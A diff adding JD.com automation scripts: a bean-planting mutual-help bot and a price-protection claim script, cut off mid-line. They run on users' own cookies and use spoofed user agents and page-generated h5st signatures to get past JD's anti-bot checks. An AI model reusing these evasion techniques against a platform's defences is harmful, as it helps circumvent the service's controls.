= new Env('种豆得豆内部互助'); +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true;//是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message, subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +let num; +$.newShareCode = []; +let llerror=false; +let lnrun = 0; +let lnruns = 0; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.hotFlag = false; //是否火爆 + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await jdPlantBean(); + await $.wait(2 * 1000); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + if(llerror) + return; + for (let i = 0; i < $.plantBeanIndexResult.data.roundList.length; i++) { + if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { + num = i + break + } + } + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + jdPlantBeanShareArr.push($.myPlantUuid) + + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[num].roundId;//本期的roundId + lastRoundId = roundList[num - 1].roundId;//上期的roundId + awardState = roundList[num - 1].awardState; + $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + lnrun++; + await doHelp(); + if (lnrun == 3) { + console.log(`\n【访问接口次数达到3次,休息半分钟.....】\n`); + await $.wait(30 * 1000); + lnrun = 0; + } + await $.wait(3 * 1000); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + //$.msg($.name, '', `${errMsg}`) + } +} +//助力好友 +async function doHelp() { + + console.log(`\n【开始账号内互助】\n`); + $.newShareCode = [...(jdPlantBeanShareArr || [])] + + for (let plantUuid of $.newShareCode) { + console.log(`【${$.UserName}】开始助力: ${plantUuid}`); + if (!plantUuid) continue; + if (plantUuid === $.myPlantUuid || $.plantBeanIndexResult.errorCode === 'PB101' ) { + console.log(`\n跳过自己的plantUuid\n`) + continue + } + lnruns++; + await helpShare(plantUuid); + if (lnruns == 5) { + console.log(`\n【访问接口次数达到5次,休息半分钟.....】\n`); + await $.wait(30 * 1000); + lnruns = 0; + } + if ($.helpResult && $.helpResult.code === '0' && $.helpResult.data) { + console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); + if ($.helpResult.data && $.helpResult.data.helpShareRes) { + if ($.helpResult.data.helpShareRes.state === '1') { + console.log(`助力好友${plantUuid}成功`) + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); + } else if ($.helpResult.data.helpShareRes.state === '2') { + console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); + break; + } else if ($.helpResult.data.helpShareRes.state === '3') { + console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') + } else if ($.helpResult.data.helpShareRes.state === '4') { + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); + } + } + } else { + console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); + break; + } + } +} +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', { "roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients" }) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, { "monitor_refer": "plant_productTaskList" }); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, { "monitor_refer": "plant_receiveNutrients" }); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', { "roundId": "" }); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + //console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + llerror=false; + $.plantBeanIndexResult = await request('plantBeanIndex'); //plantBeanIndexBody + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,10秒后重试\n`) + await $.wait(10000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息出错,30秒后重试\n`) + await $.wait(30000); + $.plantBeanIndexResult = await request('plantBeanIndex'); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + llerror=true; + return + } + } + if ($.plantBeanIndexResult.errorCode) { + console.log(`获取任务及基本信息失败,活动异常,换个时间再试试吧....`) + console.log("错误代码;" + $.plantBeanIndexResult.errorCode) + llerror=true; + return + } +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(2000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + //console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantBean_help_inviter')) $.shareCodesArr = $.getdata('jd_plantBean_help_inviter').split('\n').filter(item => !!item); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantBean_help_inviter') ? $.getdata('jd_plantBean_help_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + //console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function request(function_id, body = {}) { + return new Promise(async resolve => { + await $.wait(2000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.0"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_price.js b/jd_price.js new file mode 100644 index 0000000..ceac51c --- /dev/null +++ b/jd_price.js @@ -0,0 +1,323 @@ +/* +京东保价(h5st) +2022-02-24 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东保价 +39 20 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "39 20 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js,tag=京东保价 + +===============Surge================= +京东保价 = type=cron,cronexp="39 20 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js + +============小火箭========= +京东保价 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_price.js, cronexpr="39 20 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东保价'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const jsdom = $.isNode() ? require('jsdom') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await jstoken(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.token = ''; + message = ''; + $.tryCount = 0; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await price() + if (i != cookiesArr.length - 1) { + await $.wait(2000) + await jstoken(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function price() { + let num = 0 + do { + $.token = $.jab.getToken() || '' + if ($.token) { + await siteppM_skuOnceApply(); + } + num++ + } while (num < 3 && !$.token) + await showMsg() +} + +async function siteppM_skuOnceApply() { + let body = { + sid: "", + type: "25", + forcebot: "", + token: $.token, + feSt: $.token ? "s" : "f" + } + const time = Date.now(); + const h5st = await $.signWaap("d2f64", { + appid: "siteppM", + functionId: "siteppM_skuOnceApply", + t: time, + body: body +}); + return new Promise(async resolve => { + $.post(taskUrl("siteppM_skuOnceApply", body, h5st, time), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} siteppM_skuOnceApply API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.flag) { + await $.wait(25 * 1000); + await siteppM_appliedSuccAmount(); + } else { + console.log(`保价失败:${data.responseMessage}`); + // 重试3次 + if ($.tryCount < 4) { + await $.wait(2 * 1000); + siteppM_skuOnceApply(); + $.tryCount++; + } else { + //message += `保价失败:${data.responseMessage}\n`; + } + + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function siteppM_appliedSuccAmount() { + let body = { + sid: "", + type: "25", + forcebot: "", + num: 15 + } + return new Promise(resolve => { + $.post(taskUrl("siteppM_appliedSuccAmount", body), (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} siteppM_appliedSuccAmount API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.flag) { + console.log(`保价成功:返还${data.succAmount}元`) + message += `保价成功:返还${data.succAmount}元\n` + } else { + console.log(`保价失败:没有可保价的订单`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function jstoken() { + if ($.jab && $.signWaap) { + return; + } + + const { JSDOM } = jsdom; + let resourceLoader = new jsdom.ResourceLoader({ + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" + }); + let virtualConsole = new jsdom.VirtualConsole(); + let options = { + url: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 